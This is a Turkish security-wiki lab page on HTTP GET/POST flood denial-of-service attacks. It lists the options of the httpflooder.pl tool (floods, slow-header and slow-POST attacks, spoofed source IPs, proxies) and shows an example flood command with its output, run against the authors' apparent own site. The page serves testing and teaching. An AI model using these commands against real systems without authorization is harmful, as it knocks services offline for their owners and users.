HTTP GET/POST Flood DoS Saldırısı

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

Hedef sistemlere yönelik HTTP istekleri aracılığıyla DoS saldırılarının gerçekleştirilmesi.

Lab Senaryosu:

En sık karşılaşılan DoS saldırılarından birisi de HTTP Get/Post saldırılarıdır. Atağın temel mantığı, aynı ya da farklı IP adreslerinden hedef sistem üzerinde belirlenmiş bir sayfaya ya da sayfalara sürekli olarak GET veya POST isteğinde bulunarak sunucunun cevap veremez hale gelmesini sağlamaktır. Böyle bir durumda oluşturulmaya çalışan gerçek bir HTTP bağlantısı gibi görünecektir ve sunucu cevap verecektir. Fakat sunucunun cevap verebileceğinden daha fazla miktarda istek gönderildiği zaman web sunucusu ve arka planda çalışan veritabanı servisine fazla yük binecektir ve servis dışı kalacaktır.

Bu yük testini yapabilecek birçok araç mevcuttur fakat bu uygulamada kullanımı kolay olduğu için “httpflooder” aracı kullanılacaktır. Aracın yapabileceği ataklar aşağıdaki tabloda verilmiştir.

Usage: httpflooder.pl [options]
     	[--attack]  	-a  : Attack Type GF  => GET Flood,
                                           PF  => POST Flood,
                                           SH  => Slow Headers,
 	                                   SP  => Slow POST,
                                           HD  => Hash DoS,
                                           MX  => GET/POST Flood,
                                           RB  => Range Bytes,
   	                                   HF  => HTTP Header Fuzz,
                                           SHF => Slow Header Fuzz
                                           BF  => MX Flood over Balancer
     	[--host]    	-h  : Host for attack
        [--cookie]  	-c  : Cookie for HTTP Request Header
     	[--url]     	-u  : Request URL
     	[--urls]        	: Request URL files
     	[--port]    	-p  : Port for HTTP request
     	[--https]       	: SSL support
        [--ip]      	-i  : Source IP
     	[--ips]         	: Source IPs files
     	[--useragent]   -ua : User-Agent for HTTP Request Header
     	[--useragents]  	: User-Agent files for HTTP Request Header
     	[--referer]     	: Referer header for HTTP Request
     	[--referers]    	: Referer header files for HTTP Requests
     	[--proxy_file]  	: Proxy IP list fpr HTTP request over proxy
     	[--keepalive]   	: Connection : Keep-Alive Header
     	[--closehead]   	: Close header (added CRLF)
     	[--ulength]     	: Length for random generated url
     	[--extension]   	: File extension for random generated url
     	[--clength]     	: Content-Length for slowpost
     	[--thread]  	-t  : Thread number for tool.
     	[--balancer]    	: User balancer
     	[--custom-cookie]   : Extract custom Cookie value in response
     	[--basic-auth]  	: Basic Authentication for HTTP Request
     	[--num]     	-n  : Connection number for tool.
     	[--interval]    	: Add headers/data/param per request for Slow Headers/POST/Params attack.
     	[--delay]       	: Delay per additional header in a request for Slow Headers attack.
     	[--duration]    	: Duration for test (second)
     	[--verbose] 	-v  : verbose output
                           	1 => Thread, Host, IP, Response Code
                           	2 => Request
                       	    3 => Request, Response
     	[--help]        	: Display usage and options

Örnek bir saldırı uygulaması aşağıda verilmiştir. Burada -t parametresi ile çalıştırılacak thread sayısı, -n parametresi ile bağlantı sayısı, -a parametresi ile yapılmak istenen saldırı tipi (GET Flood) belirtilmiştir.

root@pentest171:/home/cihat/httpflooder# perl httpflooder.pl -a GF -h www.bgasecurity.com  --urls urls.txt -t 10 -n 100
+---------------| HTTP Flooder, v1.0 |-------------+
15:25:47 | Total Req: 15 | Rate:0 | RespCode:(200:1)(302:12)(301:2)
15:25:48 | Total Req: 33 | Rate:16 | RespCode:(200:4)(302:22)(301:7)
15:25:49 | Total Req: 57 | Rate:18 | RespCode:(200:7)(302:39)(301:11)
15:25:50 | Total Req: 83 | Rate:24 | RespCode:(200:12)(302:52)(301:19)
15:25:51 | Total Req: 99 | Rate:26 | RespCode:(200:17)(302:62)(301:20)
15:25:52 | Total Req: 99 | Rate:16 | RespCode:(200:17)(302:62)(301:20)
15:25:53 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:25:54 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:25:55 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:25:56 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:25:57 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:25:58 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:25:59 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:26:0 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)
15:26:1 | Total Req: 99 | Rate:0 | RespCode:(200:17)(302:62)(301:20)